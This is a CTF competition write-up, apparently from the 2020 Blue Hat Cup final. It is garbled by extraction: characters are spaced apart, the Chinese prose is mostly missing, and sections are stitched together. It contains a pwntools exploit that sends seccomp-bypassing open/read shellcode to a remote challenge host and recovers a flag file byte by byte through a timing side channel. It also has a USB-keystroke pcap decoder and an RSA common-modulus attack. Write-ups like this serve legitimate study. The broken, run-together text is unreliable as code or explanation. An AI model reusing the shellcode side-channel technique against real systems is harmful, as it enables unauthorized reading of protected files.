[2239] 2020-12-31_【线下wp】第四届蓝帽杯决赛

文档创建者:s7ckTeam
浏览次数:1
最后更新:2025-01-16
2020-12-31_【线下wp】第四届蓝帽杯决赛 线 w p   E D I   E D I   2 0 2 0 - 1 2 - 3 1   ·     0 0 0 0 E D I 0 1 0 1 p w n   S e c c o m p       w r i t e       o p e n     r e a d   c m p     v m m a p     0 x 1 0 0 0 0 " / h o m e / p w n / f l a g "     s h e l l c o d e   E X P f l a g f r o m   p w n   i m p o r t   * e l f = E L F ( ' . / c h a l l ' ) E X C V   =   c o n t e x t . b i n a r y   =   ' . / c h a l l ' # l i b c = ( ' ' ) # c o n t e x t . l o g _ l e v e l   =   ' d e b u g '   d e f   p w n ( p ,   i d x ,   c ) :         #   o p e n         s h e l l c o d e   =   " p u s h   0 x 1 0 0 3 2 a a a ;   p o p   r d i ;   s h r   e d i ,   1 2 ;   x o r   e s i ,   e s i ;   p u s h   2 ;   p o p   r a x ;   s y s c a l l ; "           #   r e   o p e n ,   r a x   = >   4         s h e l l c o d e   + =   " p u s h   2 ;   p o p   r a x ;   s y s c a l l ; "           #   r e a d ( r a x ,   0 x 1 0 0 4 0 ,   0 x 5 0 )         s h e l l c o d e   + =   " m o v   r d i ,   r a x ;   x o r   e a x ,   e a x ;   p u s h   0 x 5 0 ;   p o p   r d x ;   p u s h   0 x 1 0 0 4 0 a a a ;   p o p   r s i ;   s h r   e s i ,   1 2 ;   s y s c a l l ; "         #   c m p   a n d   j z         i f   i d x   = =   0 :                 s h e l l c o d e   + =   " c m p   b y t e   p t r [ r s i + { 0 } ] ,   { 1 } ;   j z   $ - 3 ;   r e t " . f o r m a t ( i d x ,   c )         e l s e :                 s h e l l c o d e   + =   " c m p   b y t e   p t r [ r s i + { 0 } ] ,   { 1 } ;   j z   $ - 4 ;   r e t " . f o r m a t ( i d x ,   c )       s h e l l c o d e   =   a s m ( s h e l l c o d e )         p . s e n d a f t e r ( " x e c u t i o n - b o x . n " ,   s h e l l c o d e . l j u s t ( 0 x 4 0 - 1 4 ,   b ' a ' )   +   b ' / h o m e / p w n / f l a g ' ) i d x   =   0 v a r _ l i s t   =   [ ] w h i l e ( 1 ) :         f o r   c   i n   r a n g e ( 3 2 ,   1 2 7 ) :                 p   =   r e m o t e ( " 8 . 1 3 1 . 2 4 6 . 3 6 " , 4 0 3 3 4 ) # n c   8 . 1 3 1 . 2 4 6 . 3 6   4 0 3 3 4                       p w n ( p ,   i d x ,   c )                 s t a r t   =   t i m e . t i m e ( )                 t r y :                         p . r e c v ( t i m e o u t = 2 )                 e x c e p t :                         p a s s                 e n d   =   t i m e . t i m e ( )                 p . c l o s e ( )                 i f   e n d - s t a r t   >   1 . 5 :                         v a r _ l i s t . a p p e n d ( c )                         p r i n t ( " " . j o i n ( [ c h r ( i )   f o r   i   i n   v a r _ l i s t ] ) )                         b r e a k         e l s e :                 p r i n t ( " " . j o i n ( [ c h r ( i )   f o r   i   i n   v a r _ l i s t ] ) )                 b r e a k         i d x   =   i d x   +   1 p r i n t ( " " . j o i n ( [ c h r ( i )   f o r   i   i n   v a r _ l i s t ] ) )
0 2 0 2 m i s c a s s i i   b i n w a l k     p d f     p d f     w b 4 s t e g o     p d f   西   f l a g   r m r f     k e y w o r d   Q A Q _ p c a p 6 5 T L S l o g T L S
r a r s o _ e a s y . p c a p , u s b m a p p i n g s   =   {   0 x 0 4 : " A " ,     0 x 0 5 : " B " ,     0 x 0 6 : " C " ,   0 x 0 7 : " D " ,   0 x 0 8 : " E " ,   0 x 0 9 : " F " ,   0 x 0 A : " G " ,     0 x 0 B : " H " ,   0 x 0 C : " I " ,     0 x 0 D : " J " ,   0 x 0 E : " K " ,   0 x 0 F : " L " ,   0 x 1 0 : " M " ,   0 x 1 1 : " N " , 0 x 1 2 : " O " ,     0 x 1 3 : " P " n u m s   =   [ ] k e y s   =   o p e n ( ' k e y . t x t ' ) f o r   l i n e   i n   k e y s : i f ( l e n ( l i n e ) )   ! =   1 7 : c o n t i n u e p r i n t ( l i n e [ 4 : 6 ] ) n u m s . a p p e n d ( i n t ( l i n e [ 4 : 6 ] , 1 6 ) ) k e y s . c l o s e ( ) p r i n t ( n u m s ) o u t p u t   =   " " f o r   n   i n   n u m s : i f   n   = =   0   : c o n t i n u e i f   n   i n   m a p p i n g s : o u t p u t   + =   m a p p i n g s [ n ] e l s e : o u t p u t   + =   " [ " + s t r ( n ) + " ] " p r i n t ( ' o u t p u t   : n '   +   o u t p u t )
0 3 0 3 C R Y P T O c o m m o n _ m o d u l u s H I N T p r i n t ( ' o u t p u t   : n '   +   o u t p u t ) L e f t A r r o w 1 s h f i t , f l a g f l a g : H i ! T h i s   i s   y   f l a g ! T h e   f l a g [ ]   i s   f l a g { P c @ p _ 1 s _ 5 o _ 3 a s Y ! } B y e ! i m p o r t   g m p y 2 i m p o r t   b i n a s c i i   a s   B n =   =   7 8 1 0 3 6 3 9 1 3 2 3 9 7 4 0 0 8 8 5 6 5 5 1 4 4 1 5 0 4 5 5 1 8 4 4 8 4 1 1 7 3 3 8 4 3 6 9 0 5 5 3 6 1 7 6 7 1 4 3 4 2 5 0 9 2 3 8 7 7 2 7 0 1 5 6 4 2 0 5 5 1 8 1 7 4 1 7 0 1 1 7 0 0 1 7 3 9 9 2 4 1 4 9 7 1 2 0 6 3 2 3 4 4 9 5 3 4 9 9 8 2 0 5 1 8 8 2 0 1 3 2 0 6 8 6 9 4 7 6 4 7 0 0 8 6 7 6 9 6 8 2 9 0 3 3 1 0 6 6 6 6 0 5 5 0 3 0 1 8 0 8 1 3 0 6 2 9 9 3 6 4 9 8 0 3 7 9 7 6 4 9 1 2 4 5 6 2 8 2 5 6 3 2 3 4 0 8 5 4 1 5 7 2 6 9 4 5 4 0 4 2 1 6 7 3 9 8 9 5 4 8 1 6 9 6 6 7 5 8 4 0 8 0 5 0 7 0 7 3 9 4 5 1 0 0 5 2 5 7 4 3 5 4 7 0 3 5 1 4 6 7 0 5 6 7 4 0 9 2 2 9 7 5 4 8 9 2 8 1 2 7 5 1 1 9 0 5 2 8 5 5 9 8 3 9 1 6 3 3 7 0 9 9 6 2 7 0 1 7 3 3 5 4 1 9 2 3 9 1 0 2 5 1 1 9 2 1 2 0 7 0 3 7 4 3 4 5 1 7 5 2 3 2 2 6 8 1 6 0 0 1 5 7 0 9 4 1 2 7 7 0 2 3 6 2 4 4 1 8 4 4 0 7 6 0 3 3 9 7 4 9 3 6 5 7 8 8 6 1 6 0 3 0 1 9 8 4 5 9 8 1 1 4 0 2 2 3 4 6 0 6 5 7 7 2 0 3 6 9 1 6 0 8 0 0 3 9 0 6 9 0 6 5 7 0 3 0 4 5 4 6 0 8 2 5 5 8 4 0 9 5 5 5 9 0 1 4 0 9 8 3 6 4 2 7 4 9 1 5 4 8 6 1 9 2 8 9 0 0 7 7 4 4 1 9 1 5 7 0 2 6 4 8 6 6 2 2 4 7 4 2 2 5 7 3 6 0 7 1 4 1 3 0 1 3 8 7 1 6 0 4 6 8 7 0 8 9 0 1 3 3 2 8 0 1 0 7 0 0 0 0 9 5 0 0 5 1 8 8 0 6 7 4 4 3 6 9 5 2 6 4 6 1 9 9 0 4 8 9 4 4 6 8 1 7 4 3 1 5 6 3 1 1 1 5 6 5 6 1 3 4 7 1 3 7 2 8 4 3 0 9 4 4 4 4 2 8 1 6 1 8 9 8 9 2 6 0 5 0 8 5 6 6 1 2 6 3 6 2 0 4 5 0 5 7 5 3 9 5 9 6 4 6 6 0 8 8 9 9 8 0 3 6 8 0 6 1 8 1 9 5 9 1 4 9 5 9 4 9 0 4 4 7 7 2 3 1 4 7 7 1 1 8 1 0 2 1 7 7 5 5 9 3 1 7 7 8 5 6 9 6 5 6 7 1 5 8 7 9 3 5 5 4 9 7 7 4 1 3 3 7 8 6 7 4 8 6 5 9 6 0 8 4 6 1 7 3 3 4 2 2 2 3 6 0 8 7 7 2 5 6 1 5 1 9 2 5 2 4 8 8 6 7 3 6 6 8 8 6 6 9 9 7 7 4 3 9 7 3 6 9 8 4 3 5 3 8 7 8 4 0 8 6 7 5 7 5 5 1 1 2 4 9 5 6 1 8 4 3 7 3 5 7 8 8 7 0 2 6 6 1 0 5 7 4 2 9 2 4 2 4 2 6 6 7 5 7 5 6 1 0 2 8 4 0 9 1 4 4 4 0 1 0 3 0 8 0 3 8 5 7 9 5 9 4 2 4 7 9 2 2 3 6 8 3 6 8 3 9 8 4 4 9 6 7 6 6 3 5 1 4 7 2 5 4 2 4 4 6 8 0 7 1 4 3 8 1 6 0 0 4 6 3 2 2 9 8 4 9 5 3 4 3 3 3 6 0 8 4 0 7 2 9 2 7 7 6 7 3 1 7 2 1 6 6 1 2 7 1 7 1 8 8 6 0 6 9 6 4 5 1 8 1 0 7 2 0 1 8 7 1 3 3 8 6 8 5 6 4 5 3 0 5 5 9 8 4 7 5 8 9 1 5 1 1 2 2 3 6 4 0 7 3 4 6 7 5 8 6 9 8 1 9 7 6 6 4 9 0 2 2 3 6 3 6 7 2 8 0 0 5 9 7 6 7 5 9 2 0 4 8 5 1 1 3 1 6 8 6 8 8 8 1 4 9 3 3 8 2 5 7 9 3 8 2 7 9 0 1 0 5 1 9 0 4 3 8 8 7 7 8 1 2 6 0 3 0 2 1 2 2 5 5 3 5 1 7 5 2 5 6 7 0 6 6 6 0 2 5 7 6 3 4 8 6 5 5 6 8 5 5 9 4 8 7 2 2 6 9 9 7 5 3 1 1 8 2 9 2 6 8 0 2 6 3 9 4 3 2 7 9 4 8 9 4 2 0 9 6 1 1 8 1 5 2 8 4 8 3 7 9 4 8 4 7 3 6 4 8 7 0 8 5 0 6 0 7 3 8 0 8 2 2 5 3 1 2 5 8 6 2 1 8 3 1 0 8 9 9 6 7 2 4 6 2 4 0 5 9 2 9 3 c 1 =   =   3 6 9 5 7 4 8 4 0 2 3 5 5 3 9 1 0 8 3 7 2 0 9 4 0 9 2 2 5 4 4 1 9 2 7 4 2 4 6 5 5 4 9 8 4 9 8 2 2 2 1 2 5 2 2 7 3 2 5 3 5 9 4 1 8 3 8 3 6 4 0 0 0 2 2 9 6 0 3 7 8 1 7 0 4 8 8 7 5 7 8 7 1 9 4 5 6 3 6 1 0 2 7 0 9 1 4 6 1 0 0 0 0 3 1 0 3 4 2 0 9 8 3 3 9 3 4 1 8 8 9 5 9 2 0 9 4 4 7 6 9 8 0 9 5 0 9 4 9 8 5 3 4 2 0 6 7 4 0 3 2 1 4 1 4 3 9 4 2 1 4 8 3 6 8 1 8 6 6 8 5 3 6 9 9 4 8 6 8 5 0 8 5 4 2 9 8 0 4 0 3 9 1 6 8 1 0 8 0 8 2 9 7 1 9 7 1 9 9 6 6 9 3 7 0 7 1 2 7 9 7 1 4 6 3 5 9 4 3 0 1 6 2 0 1 2 8 9 7 1 1 7 6 8 6 9 8 4 9 1 3 5 3 0 3 1 2 0 9 8 9 1 3 7 9 2 3 8 3 7 4 1 0 3 4 3 3 4 6 8 6 2 8 1 3 6 0 8 5 3 0 2 6 7 2 6 9 5 4 8 2 4 5 7 7 9 1 4 0 3 9 8 6 0 8 2 0 3 8 2 6 8 8 4 2 5 1 4 1 1 3 8 2 0 2 0 7 2 9 5 6 1 1 0 8 2 1 4 9 6 2 8 5 6 9 0 0 3 7 7 4 2 2 3 4 8 1 0 9 7 2 5 4 8 1 4 0 4 3 9 6 1 5 6 4 4 5 2 3 5 5 8 7 7 8 7 6 3 8 9 3 3 8 1 9 1 6 4 1 9 1 6 9 5 2 1 6 5 5 8 9 3 1 0 3 1 8 7 0 2 8 7 0 5 3 2 6 5 5 7 4 6 5 5 8 6 1 6 4 4 1 3 4 3 0 7 2 6 6 2 6 5 7 6 6 3 9 3 4 8 6 0 3 6 3 8 8 0 6 5 1 1 3 1 1 7 0 6 9 7 5 9 5 8 5 9 3 2 0 0 8 9 8 5 0 5 0 4 8 8 7 6 7 4 0 7 0 6 9 4 7 1 9 5 8 7 4 3 9 7 9 0 9 2 7 2 7 7 2 6 8 8 7 7 4 9 9 8 3 1 2 5 0 6 6 7 9 3 6 0 2 5 7 6 1 8 1 7 6 9 5 1 7 7 0 0 4 1 3 4 2 2 5 6 2 0 9 4 1 0 8 6 3 2 6 0 8 8 4 7 5 0 4 8 7 2 7 9 9 6 1 9 3 3 5 4 1 6 7 2 5 8 6 2 3 7 7 1 9 4 0 2 9 7 2 2 1 7 4 9 2 2 8 7 5 4 9 0 6 8 7 6 6 4 1 4 4 1 0 1 5 5 7 1 4 3 0 3 6 4 8 4 7 3 6 7 6 0 0 9 6 6 1 9 4 3 9 6 5 2 9 3 5 0 1 9 9 4 9 7 8 2 0 0 7 4 5 2 1 9 5 9 3 2 9 3 5 5 2 4 9 9 3 6 4 2 1 9 5 6 3 1 8 5 0 9 3 1 1 2 2 5 6 1 2 0 5 5 0 6 6 3 8 1 8 9 1 8 9 6 4 0 8 1 9 8 0 4 6 9 2 8 8 6 1 9 9 2 6 2 9 1 2 5 0 6 3 8 4 5 0 8 7 4 3 1 6 0 5 3 3 2 6 6 0 1 0 3 2 2 7 3 0 8 7 0 3 9 3 7 6 7 2 3 4 1 5 7 0 1 5 5 4 6 7 6 2 5 7 0 4 3 5 1 5 8 7 7 0 1 3 7 6 1 6 8 1 8 4 3 8 8 5 3 7 5 3 2 5 4 3 0 2 9 7 9 4 1 9 4 2 6 9 2 6 7 9 8 4 8 1 0 7 9 9 9 7 4 3 0 6 8 1 0 9 8 0 5 3 2 5 2 6 4 7 3 5 5 7 6 6 5 8 2 0 6 1 9 9 0 8 9 4 9 1 6 0 8 0 8 7 4 4 2 0 0 1 5 0 8 0 6 2 0 5 3 8 4 3 5 1 6 4 3 1 0 8 9 2 0 7 2 4 3 3 3 9 4 4 7 0 4 9 5 4 7 6 1 1 1 8 3 8 1 5 7 8 5 8 6 4 0 8 1 6 5 3 4 9 2 9 7 0 8 1 2 9 6 1 0 7 6 1 8 1 4 2 2 4 3 4 7 6 2 1 3 7 3 1 0 5 2 2 1 4 6 5 7 2 9 1 8 5 7 1 4 9 2 2 6 3 2 7 3 3 8 2 9 2 7 4 6 8 5 8 6 8 5 3 4 3 1 5 8 1 8 1 1 2 9 7 5 6 7 3 3 7 2 4 4 7 2 9 9 7 6 2 5 9 3 3 3 6 4 2 9 9 1 6 1 5 9 3 4 5 6 8 2 1 9 7 8 3 9 9 8 1 8 3 0 0 5 0 8 7 0 1 2 0 3 4 0 1 6 7 8 3 5 3 5 0 6 0 2 9 7 3 6 7 4 7 5 5 9 8 3 5 2 1 2 0 0 5 8 3 2 2 9 1 2 0 6 8 0 7 9 7 0 4 7 7 1 6 8 5 8 8 6 0 6 6 1 9 9 7 0 2 9 6 3 0 1 8 c 2 =   =   4 0 1 0 0 3 7 4 8 1 4 9 5 1 0 0 0 2 8 1 8 7 6 7 3 6 9 2 3 0 2 5 4 6 0 2 5 1 3 8 6 5 1 5 9 6 6 1 3 3 9 9 0 6 8 0 0 3 4 7 2 9 0 7 1 1 6 9 0 8 0 7 2 7 0 7 0 2 3 0 1 2 3 0 6 2 4 0 2 5 4 2 2 8 3 1 3 1 1 5 9 6 6 3 2 7 9 5 1 4 1 5 3 1 7 2 0 4 3 5 0 0 2 8 5 3 7 3 8 5 7 3 1 6 3 1 8 2 3 1 2 4 5 3 1 2 7 6 8 6 2 5 9 7 5 6 7 7 9 0 6 8 4 8 2 5 2 9 2 5 7 9 0 0 1 0 3 9 6 7 5 5 0 7 7 9 0 6 7 4 4 5 9 9 0 0 6 7 9 0 2 7 3 3 0 4 8 7 7 4 4 1 4 7 9 0 6 3 6 5 1 9 5 8 7 2 6 5 1 2 2 9 9 2 9 4 6 2 3 0 9 3 7 9 2 5 3 5 9 9 6 7 0 9 1 1 7 2 5 0 4 9 0 1 4 0 7 3 3 4 6 8 7 5 2 0 8 0 3 7 5 5 2 1 4 5 6 4 9 2 9 1 5 7 7 4 8 8 1 7 2 2 2 6 0 8 8 6 7 5 0 4 9 8 4 6 4 0 4 3 5 3 1 7 2 3 7 9 4 0 9 8 9 7 2 8 7 1 5 9 8 0 6 0 6 5 9 6 3 3 2 3 0 9 9 3 8 0 8 3 5 8 3 1 6 2 4 3 2 5 0 6 3 7 3 9 7 6 8 3 9 1 9 8 1 0 5 8 8 9 8 6 0 7 1 6 7 2 8 1 7 5 2 0 7 6 2 8 6 7 6 9 0 3 5 8 1 3 4 4 8 0 7 9 4 4 7 5 5 6 9 5 8 4 8 1 5 1 1 9 0 6 2 3 4 9 8 7 5 3 0 1 0 2 9 4 3 2 3 6 1 7 3 3 8 2 7 0 0 6 0 0 4 0 4 2 3 7 4 2 0 1 0 1 4 5 2 5 9 1 2 9 6 7 8 2 6 4 6 6 2 4 6 5 3 5 5 8 7 9 3 4 1 7 3 0 1 2 0 5 2 6 0 3 2 2 2 9 9 4 4 4 8 2 3 8 8 3 6 0 2 5 8 2 1 6 4 2 4 6 8 2 6 9 4 4 0 4 2 6 3 4 9 8 9 5 6 9 4 7 1 3 0 5 8 0 0 5 6 8 3 9 5 9 2 8 4 0 9 6 2 1 9 1 6 0 4 8 9 3 6 3 2 6 4 5 5 8 5 5 0 5 5 7 7 5 1 7 6 4 7 8 1 7 9 5 2 4 4 8 5 1 0 3 5 3 2 6 7 6 2 9 5 4 9 2 4 6 7 7 6 8 0 9 6 5 7 0 2 1 9 6 3 7 0 7 3 0 9 7 4 0 0 8 4 0 7 2 7 3 1 4 2 9 8 6 0 5 2 2 8 0 1 1 4 0 0 2 1 3 7 5 0 7 8 1 4 0 4 5 4 5 2 3 4 7 3 1 0 8 2 2 9 5 2 2 4 5 6 5 2 9 4 3 8 0 3 6 9 6 3 7 0 2 2 9 6 4 0 6 1 0 1 4 6 2 8 5 6 1 7 7 0 3 7 4 2 7 0 0 8 7 6 5 5 2 2 3 0 2 6 2 5 1 2 8 4 3 4 9 3 1 6 8 0 9 7 3 9 1 1 2 3 9 4 4 3 9 5 2 4 0 9 9 6 6 6 1 6 7 8 8 0 9 5 2 1 7 7 8 2 5 5 2 1 5 3 1 7 0 7 7 2 1 3 7 8 0 7 2 8 7 5 9 4 8 9 7 6 8 1 8 5 5 0 4 5 2 3 7 8 1 4 7 3 6 5 3 6 8 0 0 2 0 5 4 3 8 5 8 9 0 1 0 6 6 8 5 4 5 6 4 7 9 7 2 9 3 5 1 7 2 4 1 9 0 8 2 3 1 4 5 7 2 1 9 6 6 0 6 6 5 6 7 0 3 6 2 8 4 1 8 1 5 9 9 5 2 4 3 6 4 1 9 2 2 3 0 6 0 5 6 5 8 8 8 2 5 3 9 9 1 4 8 1 3 7 0 3 0 7 4 2 6 5 4 2 4 6 8 0 0 1 7 8 3 8 2 9 2 5 9 3 3 2 0 3 5 5 3 4 4 1 4 4 7 0 9 8 8 7 8 8 1 8 3 3 8 3 5 2 8 6 4 2 0 3 8 9 7 9 8 1 1 8 9 9 0 6 1 1 8 2 9 1 6 4 2 2 7 9 5 9 0 2 4 6 5 7 8 8 4 4 3 7 8 5 1 8 4 4 6 1 6 4 0 8 0 0 0 7 4 6 4 2 7 3 6 2 4 8 6 1 3 3 8 6 4 6 7 5 9 6 7 6 5 6 4 7 6 9 6 7 6 4 7 6 6 5 0 9 7 9 3 1 9 4 3 1 8 4 5 8 9 9 4 2 7 9 3 4 6 1 9 1 7 3 2 4 1 5 4 6 3 2 2 6 1 2 9 6 7 6 2 1 0 4 8 8 1 5 8 3 0 3 2 1 6 8 2 6 2 8 7 3 7 4 7 4 4 1 3 2 9 7 7 2 5 8 0 1 8 0 6 4 7 0 9 5 4 1 2 7 9 5 9 1 2 1 9 8 0 1 e 1   =   3 2 1 9 5 9 e 2   =   2 5 0 2 6 1 s 0 ,   s 1 ,   s 2   =   g m p y 2 . g c d e x t ( e 1 ,   e 2 ) i f   s 1   <   0 :         s 1   =   - s 1         c 1   =   g m p y 2 . i n v e r t ( c 1 ,   n ) e l i f   s 2   <   0 :         s 2   =   - s 2         c 2   =   g m p y 2 . i n v e r t ( c 2 ,   n ) m   =   g m p y 2 . p o w m o d ( c 1 ,   s 1 ,   n ) * g m p y 2 . p o w m o d ( c 2 ,   s 2 ,   n )   %   n m   =   g m p y 2 . i r o o t ( m , 1 1 ) [ 0 ] p r i n t ( ' [ - ] m   i s : ' ,   m ) p r i n t ( h e x ( m ) ) p r i n t (   B . a 2 b _ h e x ( h e x ( m ) [ 2 : ] ) ) i m p o r t   g m p y 2 f r o m   C r y p t o . U t i l . n u m b e r   i m p o r t   * h i n t   =   0 x 6 5 3 3 3 d 3 3 3 8 3 6 3 3 3 2 3 1 2 c 6 5 3 4 3 d 3 2 3 1 3 6 3 4 3 3 3 7 n 2 =   =   8 2 9 1 5 3 9 2 2 4 1 5 8 5 5 1 3 7 2 6 4 8 0 0 2 3 4 8 2 2 3 9 7 1 5 9 5 1 7 3 3 0 8 3 4 7 0 2 8 8 9 0 3 3 5 3 7 9 3 3 3 7 7 2 9 3 8 8 7 3 4 4 3 2 0 3 7 7 1 1 1 0 2 0 4 6 8 9 7 5 0 5 9 3 9 2 9 5 7 7 3 7 4 4 9 2 0 2 2 3 7 7 2 4 1 8 2 1 7 8 4 9 7 5 1 5 8 5 0 6 6 9 9 6 9 2 8 7 5 5 7 1 7 1 7 6 1 5 1 2 9 4 3 3 1 3 3 4 7 0 0 2 7 0 7 8 8 1 6 2 7 6 6 5 9 9 7 7 7 3 5 3 8 3 3 8 6 2 4 6 9 7 0 3 1 1 1 3 1 8 0 1 1 8 7 8 7 5 7 8 0 9 8 8 3 9 8 1 2 7 6 6 5 9 0 3 5 6 1 6 1 8 8 0 6 3 3 3 9 0 4 9 1 2 4 0 2 7 5 2 6 3 4 0 5 3 7 5 6 1 4 8 8 0 5 1 4 3 1 9 0 2 4 9 1 0 8 0 2 4 8 8 8 2 5 9 3 1 0 6 5 4 5 2 7 6 4 1 1 4 7 0 7 8 6 0 2 0 7 3 1 0 2 0 1 4 2 0 7 1 5 5 9 7 3 1 9 2 5 8 8 8 0 4 8 5 0 4 0 5 2 2 5 5 1 8 3 2 9 7 1 5 9 2 9 1 0 4 2 1 7 8 9 6 5 6 6 5 5 2 8 1 3 9 8 3 3 6 3 9 1 4 8 3 6 6 5 7 9 7 8 5 1 8 4 3 0 3 0 7 0 4 2 6 2 6 7 7 1 9 8 8 7 6 7 0 2 5 4 6 8 0 9 0 6 3 6 7 0 7 1 4 1 9 7 0 1 6 5 9 8 0 6 9 5 5 3 9 7 4 0 7 3 6 0 2 7 4 3 8 9 4 2 0 2 2 1 5 0 3 3 9 9 1 2 8 2 7 9 5 5 5 9 5 5 8 5 8 0 5 0 9 6 4 4 9 8 5 3 5 5 5 8 2 2 6 5 3 0 9 2 7 3 8 1 9 0 8 5 1 6 5 2 4 4 9 9 0 5 0 7 8 2 1 7 0 8 9 2 1 4 3 0 0 5 5 5 7 8 5 2 2 7 0 1 5 2 5 1 2 3 8 8 7 9 1 6 9 0 1 7 7 8 3 5 7 4 6 5 5 0 9 3 6 9 5 8 6 7 3 0 9 2 9 6 8 8 3 9 2 6 6 7 7 3 2 8 8 6 9 0 6 8 5 7 4 3 0 5 1 7 6 5 3 0 9 6 3 9 8 0 0 2 7 7 7 9 6 4 5 6 0 1 2 7 2 6 8 1 2 1 5 7 1 0 4 9 2 3 3 2 2 3 3 7 2 7 9 8 7 1 0 2 7 5 1 0 4 6 3 5 6 1 5 1 4 6 2 2 7 6 9 0 9 6 5 4 8 2 2 7 0 8 0 1 8 9 9 5 3 8 5 9 4 8 5 9 2 0 6 4 6 9 4 8 0 7 7 6 5 2 2 6 1 3 0 2 8 1 3 1 5 9 8 8 8 8 5 0 8 4 5 7 7 0 9 4 5 3 3 7 9 5 7 4 7 4 2 1 9 6 4 5 4 8 6 7 0 0 3 5 0 3 3 4 7 4 3 8 6 1 8 4 4 5 6 6 0 9 0 0 4 2 3 8 2 7 7 7 6 0 6 2 2 7 6 4 9 6 7 3 3 4 9 8 8 2 3 2 8 6 4 9 7 3 7 6 7 6 1 4 1 2 5 7 9 3 8 4 9 8 4 3 6 9 3 0 8 1 8 5 2 6 0 1 5 6 9 6 3 1 5 6 4 0 5 6 5 9 9 5 0 8 4 3 6 7 2 8 9 3 8 9 6 0 8 7 6 5 0 0 0 2 2 6 9 8 7 4 8 0 0 9 5 3 8 6 8 4 0 6 3 0 7 9 5 4 0 7 7 6 7 2 9 8 8 9 0 0 0 5 7 9 0 4 6 6 6 4 3 0 0 5 4 2 9 6 7 6 0 1 5 5 2 8 7 2 7 1 5 6 1 1 7 0 0 2 5 7 6 7 6 2 4 0 0 3 8 1 6 8 2 6 7 2 0 4 4 2 6 6 8 2 9 5 9 2 5 4 8 5 6 3 7 6 3 3 8 7 7 6 5 2 7 4 9 3 3 8 8 4 2 6 1 2 4 7 2 5 1 6 1 0 5 6 8 3 9 6 4 0 6 7 0 1 9 3 6 0 5 1 3 6 1 9 4 1 2 9 8 6 3 0 1 2 2 4 4 6 1 3 1 8 5 2 1 3 7 2 0 1 2 9 0 5 6 2 9 5 5 9 4 2 4 1 0 9 8 4 6 5 1 1 5 8 9 0 0 9 5 5 0 7 4 5 8 2 8 5 0 9 0 6 8 7 1 1 5 3 2 1 3 5 1 8 8 0 1 2 9 5 8 6 0 9 3 4 4 1 3 4 3 5 5 4 6 6 6 4 1 8 9 0 2 4 3 2 6 3 8 8 1 8 9 0 8 2 2 5 0 8 4 4 5 3 0 7 9 8 2 8 9 2 9 5 1 5 5 3 1 9 8 8 6 2 5 8 3 4 2 9 3 6 8 6 7 0 0 5 7 9 9 3 c 3 =   =   1 5 9 7 2 4 5 1 5 9 4 3 6 2 6 6 0 7 0 6 3 0 7 7 8 5 2 1 8 0 7 2 5 7 8 5 5 3 5 8 3 0 8 8 2 7 2 0 8 6 2 7 2 7 6 6 8 5 2 5 3 2 7 4 6 2 5 4 8 3 9 9 7 1 1 1 4 6 1 0 9 1 3 4 2 4 4 8 1 5 3 7 6 2 8 7 1 3 4 7 6 1 8 1 7 0 7 5 5 1 9 8 2 0 1 4 2 5 5 6 3 5 7 5 7 4 6 0 6 7 9 8 8 4 0 2 3 3 5 6 2 2 4 8 7 5 5 9 7 1 5 2 6 2 1 9 6 2 7 7 6 2 2 2 3 7 3 4 3 9 3 4 7 3 7 9 8 9 1 4 9 0 1 1 4 3 2 6 9 4 4 9 2 1 2 7 9 0 3 9 2 6 0 0 1 0 5 3 3 0 3 8 3 0 9 0 1 7 4 0 8 3 1 3 9 5 8 6 0 6 4 1 8 1 1 7 4 0 0 9 0 7 7 3 5 0 9 2 4 6 5 1 0 7 0 2 4 4 8 0 2 0 4 7 1 8 1 6 7 5 9 7 1 7 4 3 5 8 3 1 2 6 0 0 5 3 7 4 1 8 0 8 0 3 6 6 1 3 4 4 9 4 8 1 0 5 5 6 3 7 3 1 2 4 3 6 2 2 2 3 1 7 4 5 3 9 7 8 6 0 4 3 8 1 1 0 5 6 8 7 0 0 0 2 7 8 0 8 2 4 0 4 6 6 5 2 0 7 7 5 1 5 9 6 0 3 9 4 8 8 9 3 4 5 8 8 3 9 5 8 4 6 8 6 0 2 2 7 1 3 8 6 5 4 4 5 9 7 4 9 9 9 0 1 0 6 3 3 3 3 8 9 9 2 0 7 7 0 3 6 3 3 9 6 3 5 4 7 0 9 2 8 3 0 9 8 2 5 7 0 9 1 5 8 2 5 2 0 2 1 7 3 6 9 9 8 3 3 3 1 8 1 6 2 6 1 9 6 8 5 2 1 1 7 9 1 1 0 6 3 1 4 3 9 2 4 6 9 0 2 7 4 3 4 1 1 1 8 9 3 4 2 6 3 9 5 4 4 0 1 1 7 1 9 8 0 8 6 6 8 5 7 7 6 6 8 0 3 2 5 1 0 9 7 6 2 4 5 3 1 3 4 9 3 2 8 1 3 1 9 0 6 0 3 7 3 2 4 9 3 9 8 2 2 7 0 9 7 1 8 1 1 0 5 8 4 6 1 2 7 2 3 9 0 5 3 9 6 0 8 2 8 1 6 4 2 3 6 3 6 9 2 0 0 2 1 1 1 6 1 9 8 8 9 3 5 2 9 1 5 1 2 3 3 8 4 4 7 4 1 0 4 9 7 6 8 3 8 2 9 9 7 1 6 5 3 0 6 7 0 8 3 8 6 3 7 7 4 6 1 5 3 7 6 5 9 8 9 4 6 3 1 6 3 8 6 6 9 5 4 1 1 3 5 1 3 9 7 7 2 2 5 6 7 2 4 7 5 5 8 7 9 8 9 4 1 6 3 2 2 0 3 8 5 7 0 2 4 4 8 1 6 3 5 7 7 8 6 1 0 5 0 2 5 5 9 2 2 0 9 1 0 7 6 2 9 1 3 6 0 7 3 3 3 7 1 5 5 7 0 0 8 2 0 2 7 0 4 7 4 4 0 2 5 3 0 8 4 4 2 5 5 9 9 2 9 0 5 7 2 8 0 9 4 4 1 5 1 9 0 4 3 4 6 1 4 6 3 6 3 6 4 1 6 9 4 2 5 6 3 8 4 6 9 9 8 3 3 0 6 6 9 4 1 6 9 3 9 1 1 8 8 8 3 1 3 0 6 3 1 0 1 7 0 9 4 6 4 7 7 9 5 6 4 2 1 6 4 7 1 7 8 4 3 0 0 4 0 9 7 5 8 6 6 7 0 7 5 2 4 2 5 1 9 2 1 6 7 1 1 0 3 8 1 7 8 9 7 0 2 4 4 1 3 0 7 0 9 0 7 5 9 4 8 0 8 5 3 7 7 0 7 5 8 9 6 2 2 3 2 6 8 6 7 3 9 5 6 3 2 8 9 4 9 0 4 9 0 9 6 8 9 3 1 1 4 3 4 9 1 2 3 8 5 7 3 1 4 4 7 0 2 0 0 3 1 7 3 5 4 4 4 2 0 0 2 3 5 0 9 1 4 5 8 0 8 9 6 7 8 5 6 4 4 0 5 7 3 7 0 6 0 6 1 3 8 1 4 9 4 0 3 5 2 9 2 7 1 0 4 9 9 5 2 7 0 2 7 5 5 5 1 3 